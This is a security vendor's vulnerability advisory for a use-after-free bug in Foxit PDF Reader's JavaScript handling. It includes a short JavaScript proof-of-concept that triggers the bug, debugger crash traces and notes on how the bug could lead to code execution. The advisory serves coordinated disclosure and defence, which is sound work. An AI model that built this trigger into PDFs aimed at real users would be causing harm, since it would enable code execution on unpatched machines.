Talos Vulnerability Report

TALOS-2022-1614

Foxit Reader Optional Content Group use-after-free vulnerability

NOVEMBER 10, 2022

CVE NUMBER

CVE-2022-40129

SUMMARY

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 12.0.1.12430. A specially-crafted PDF document can trigger the reuse of previously freed memory via misusing Optional Content Group API, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.0.1.12430

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSV3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents, which can have multimedia content that can be viewed interactively. There exists a use-after-free vulnerability in the way Foxit Reader handles events when the layers are present in the document. This can be illustrated by the following two-part proof-of-concept code:

```
//main document open action
this.pageNum =  0;
try { global.var1 = this.getOCGs()[0]; } catch(e) { }
this.closeDoc();


//page close action
global.var1.name = "";
```

In the attached proof of concept PDF document, the first part of the javascript is attached to the document open action. It will be run when the document is displayed. The second part is attached to the action that is triggered when the page is being closed.

The main document action simply jumps to the first page and saves a reference to an Optional Content Group element (layer) in a global variable. Then it causes the document to be closed. Closing the document, in turn , triggers the page close action, which tries to access the saved layer reference. The problem arises because the page close and the document close actions are executed out of sync, and the `closeDoc` call causes freeing of memory that will be reused inside the page close event. This is the same vulnerability pattern that was observed in TALOS-2022-1602. The following can be observed in a debugger at the time of the crash:

```
(1cac.2754): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1fe5cfe8 ebx=15b9afb0 ecx=1fe5cfe8 edx=00000008 esi=04ce7480 edi=2682d020
eip=00d42955 esp=008fa0e0 ebp=008fa0e0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7df25:
00d42955 8b10            mov     edx,dword ptr [eax]  ds:002b:1fe5cfe8=????????
0:000> k 8
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 008fa0e0 02d632d7
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7df25
01 008fa10c 02d5cf11     FoxitPDFReader!safe_vsnprintf+0xea1cf7
02 008fa160 02f55082     FoxitPDFReader!safe_vsnprintf+0xe9b931
03 008fa19c 02fbf8d0     FoxitPDFReader!FXJSE_GetClass+0x552
04 008fa204 02fd50c4     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x6a460
05 008fa2b8 02fd4e14     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x7fc54
06 008fa2fc 02fd56b6     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x7f9a4
07 008fa408 02fd4da4     FoxitPDFReader!CFXJSE_Arguments::GetValue+0x80246
0:000> !heap -p -a eax
    address 1fe5cfe8 found in
    _DPH_HEAP_ROOT @ 9f31000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   140b0c30:         1fe5c000             2000
    6456ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
    77ae3812 ntdll!RtlFreeHeap+0x00000222
    0463fc6b
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
    0461d121
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
    045655d2
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
    01ef86d9 FoxitPDFReader!safe_vsnprintf+0x000370f9
    01efa8ea FoxitPDFReader!safe_vsnprintf+0x0003930a
    00ec9708 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char>
>::put+0x000356c8
    04381adc
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c69bc
    04382f73
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c7e53
    0437d919
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c27f9
    0437e18c
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c306c
    776ebf1b USER32!_InternalCallWinProc+0x0000002b
    776e83ea USER32!UserCallWinProcCheckWow+0x000003aa
    776e7f8a USER32!DispatchClientMessage+0x000000ea
    776ea6d9 USER32!__fnDWORD+0x00000049
    77b0cd3d ntdll!KiUserCallbackDispatcher+0x0000004d
    776d240e USER32!MDIClientWndProcWorker+0x000001be
    77724ea9 USER32!MDIClientWndProcW+0x00000029
    776ebf1b USER32!_InternalCallWinProc+0x0000002b
    776e83ea USER32!UserCallWinProcCheckWow+0x000003aa
    776c7afd USER32!CallWindowProcW+0x0000008d
    0437f073
```

```
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c3f53
    0437f0ad
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c3f8d
    04381d9a
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c6c7a
    04382f73
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c7e53
    0437d919
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c27f9
    0437e18c
FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x001c306c
    776ebf1b USER32!_InternalCallWinProc+0x0000002b
    776e83ea USER32!UserCallWinProcCheckWow+0x000003aa


0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7df25:
00d42955 8b10            mov     edx,dword ptr [eax]
00d42957 8bc8            mov     ecx,eax
00d42959 ff524c          call    dword ptr [edx+4Ch]
00d4295c 5d              pop     ebp
00d4295d c20400          ret     4
00d42960 55              push    ebp
00d42961 8bec            mov     ebp,esp
00d42963 837d0800        cmp     dword ptr [ebp+8],0
```

The debugger output shows a crash on an invalid memory dereference. The output of `!heap` shows that the memory being dereferenced was previously in use but was freed. We can see from disassembly output that the crash is just before a virtual function call, which would lend itself to straightforward control flow hijacking. From the call stack, we can see that the crash comes while trying to look up object properties from the `FXJSE_GetClass` call, which is one of the rare symbolicated functions.

Additionally, by examining the execution flow, we can observe that the memory block in question is already freed when the page close action is executed. In other words, additional attacker-controlled javascript code can be executed between the time of free and time of reuse. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.

TIMELINE

2022-09-22 - Vendor Disclosure
2022-11-09 - Vendor Patch Release
2022-11-10 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1602

NEXT REPORT

TALOS-2022-1649